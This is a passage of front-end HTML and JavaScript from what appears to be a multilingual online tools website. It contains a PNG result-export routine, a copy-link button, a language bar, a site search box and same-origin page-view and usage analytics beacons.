i=0;i<lines.length;i++){x.fillText(lines[i].slice(0,88),P,P+70+i*lh+22);}x.font="600 22px system-ui,Segoe UI,Arial";x.fillStyle="#c9a227";var d=location.hostname.replace("www.","");x.fillText(d,W-P-x.measureText(d).width,H-P+6);c.toBlob(function(bl){var u=URL.createObjectURL(bl),a=document.createElement("a");a.href=u;a.download=(t||"result").replace(/[^a-z0-9]+/gi,"-").toLowerCase()+"-"+d+".png";document.body.appendChild(a);a.click();setTimeout(function(){URL.revokeObjectURL(u);a.remove();},2000);},"image/png");});})();</script><script>(function(){var b=document.getElementById("yjcp");if(!b)return;var t=b.textContent;b.addEventListener("click",function(){var u=location.href.split("#")[0];function d(){b.textContent="Link copied";setTimeout(function(){b.textContent=t;},1800);}if(navigator.clipboard&&navigator.clipboard.writeText){navigator.clipboard.writeText(u).then(d,function(){prompt("",u);});}else{prompt("",u);}});})();</script><div class="yj-home-find"><div class="yj-lgbar"><a href="/" class="yj-lg on">EN</a><a href="/de/" class="yj-lg">DE</a><a href="/ja/" class="yj-lg">JA</a><a href="/es/" class="yj-lg">ES</a><a href="/pt/" class="yj-lg">PT</a></div><section class="yj-find"><h2>Find a tool</h2><input id="yjq" type="search" autocomplete="off" placeholder="Type a product name, format or task"><div id="yjr"></div></section><style>.yj-lgbar{position:absolute;top:14px;right:18px;display:flex;gap:6px;z-index:60}.yj-lg{font:600 12px/1 system-ui,sans-serif;padding:6px 9px;border-radius:4px;text-decoration:none;color:#8b96a3;border:1px solid rgba(140,150,165,.28)}.yj-lg:hover{color:#e8eaed;border-color:rgba(160,175,195,.6)}.yj-lg.on{color:#0e1116;background:#cfd6de;border-color:#cfd6de}.yj-find{max-width:760px;margin:34px auto 8px;padding:0 20px}.yj-find h2{font:600 20px/1.3 system-ui,sans-serif;margin:0 0 10px}#yjq{width:100%;box-sizing:border-box;padding:13px 15px;font:400 15.5px system-ui,sans-serif;border:1px solid rgba(140,150,165,.34);border-radius:8px;background:rgba(255,255,255,.04);color:inherit}#yjq:focus{outline:none;border-color:#7FD1C4}#yjr{margin-top:10px;display:flex;flex-direction:column;gap:6px}#yjr a{display:flex;justify-content:space-between;gap:12px;padding:11px 14px;border:1px solid rgba(140,150,165,.22);border-radius:6px;text-decoration:none;font:400 14.5px/1.4 system-ui,sans-serif;color:inherit}#yjr a:hover{border-color:#7FD1C4}#yjr .pr{font:600 13px system-ui,sans-serif;color:#5fbf9a;white-space:nowrap}</style><script>(function(){var q=document.getElementById("yjq"),r=document.getElementById("yjr"),D=null;function load(){if(D)return Promise.resolve(D);return fetch("/search-index.json").then(function(x){return x.json();}).then(function(j){D=j;return j;}).catch(function(){D=[];return D;});}function esc(t){return String(t).replace(/[&<>"]/g,function(c){return {"&":"&","<":"<",">":">",'"':"""}[c];});}function run(){var v=q.value.trim().toLowerCase();if(v.length<2){r.innerHTML="";return;}load().then(function(j){var w=v.split(/\s+/),o=[];for(var i=0;i<j.length&&o.length<12;i++){var t=j[i].t.toLowerCase();var ok=true;for(var k=0;k<w.length;k++){if(t.indexOf(w[k])<0){ok=false;break;}}if(ok)o.push(j[i]);}r.innerHTML=o.length?o.map(function(x){return "<a href=\""+esc(x.u)+"\">"+"<span>"+esc(x.t)+"</span>"+(x.p?"<span class=\"pr\">$"+x.p+"</span>":"")+"</a>";}).join(""):"";});}q.addEventListener("input",run);q.addEventListener("focus",load);})();</script></div>
<script data-yj="yj-view-beacon">(function(){try{var p=location.pathname;var k='yjv:'+p;if(sessionStorage.getItem(k))return;sessionStorage.setItem(k,'1');fetch('/api/ev',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({path:p,lang:"en",ref:(document.referrer||''),src:(function(){try{return (new URLSearchParams(location.search).get('ref')||'').replace(/[^a-z_]/g,'').slice(0,12)}catch(e){return ''}})()})}).catch(function(){});}catch(e){}})();</script>
<script data-yj="yj-use-beacon">(function(){try{var o=document.getElementById('out');if(!o)return;var p=location.pathname,k='yju:'+p,sent=false;function fire(){if(sent||sessionStorage.getItem(k))return;if(!(o.textContent||'').replace(/\s+/g,'').length)return;sent=true;sessionStorage.setItem(k,'1');fetch('/api/ev',{method:'POST',keepalive:true,headers:{'Content-Type':'application/json'},body:JSON.stringify({path:p,lang:"en",t:'use',src:(function(){try{return (new URLSearchParams(location.search).get('ref')||'').replace(/[^a-z_]/g,'').slice(0,12)}catch(e){return ''}})()})}).catch(function(){});}var mo=new MutationObserver(function(){fire();if(sent)mo.disconnect();});mo.observe(o,{childList:true,characterData:true,subtree:true});}catch(e){}})();</script>
|